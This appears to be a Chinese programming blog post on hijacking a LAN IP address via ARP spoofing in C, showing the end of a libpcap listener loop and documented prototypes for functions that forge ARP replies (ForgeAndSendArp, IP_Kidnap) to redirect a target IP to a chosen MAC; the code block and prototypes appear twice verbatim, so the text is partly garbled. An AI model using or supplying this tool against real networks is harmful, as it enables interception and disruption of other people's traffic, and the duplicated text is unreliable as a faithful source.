基于ARP的局域网IP劫持——C语言实现



150     printf("success: device: %s\n", devStr);
151   }
152   else
153   {
154     printf("error: %s\n", errBuf);
155     exit(1);
156   }
157   
158   /* open a device, wait until a packet arrives */
159   pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
160   
161   if(!device)
162   {
163     printf("error: pcap_open_live(): %s\n", errBuf);
164     exit(1);
165   }
166   /* set filter */
167   pcap_compile( device,&filter,glBpfCmd,1,0 );  
168   pcap_setfilter(device ,&filter );
169   /* wait loop forever */
170   int id = 0;
171   pcap_loop(device, -1, getPacket, (u_char*)&id);
172   
173   pcap_close(device);
174 
175   return 0;
176 }
复制代码

  编译后的结果:

  函数原型:

复制代码
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
  dev : pointer to nic name, "eth0" for example.
  src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
  dst_mac : similar as src_mac
  src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
  dst_ip : similar as src_ip
  arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
  sendTimes : how many times this packet you want to send
*/
复制代码
复制代码
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
          unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/
复制代码

 

  附录:

    参考文章 《libpcap使用》 《ARP数据包伪造

150     printf("success: device: %s\n", devStr);
151   }
152   else
153   {
154     printf("error: %s\n", errBuf);
155     exit(1);
156   }
157   
158   /* open a device, wait until a packet arrives */
159   pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
160   
161   if(!device)
162   {
163     printf("error: pcap_open_live(): %s\n", errBuf);
164     exit(1);
165   }
166   /* set filter */
167   pcap_compile( device,&filter,glBpfCmd,1,0 );  
168   pcap_setfilter(device ,&filter );
169   /* wait loop forever */
170   int id = 0;
171   pcap_loop(device, -1, getPacket, (u_char*)&id);
172   
173   pcap_close(device);
174 
175   return 0;
176 }
复制代码

  编译后的结果:

  函数原型:

复制代码
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
  dev : pointer to nic name, "eth0" for example.
  src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
  dst_mac : similar as src_mac
  src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
  dst_ip : similar as src_ip
  arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
  sendTimes : how many times this packet you want to send
*/
复制代码
复制代码
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
          unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/
复制代码

 

  附录:

    参考文章 《libpcap使用》 《ARP数据包伪造

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值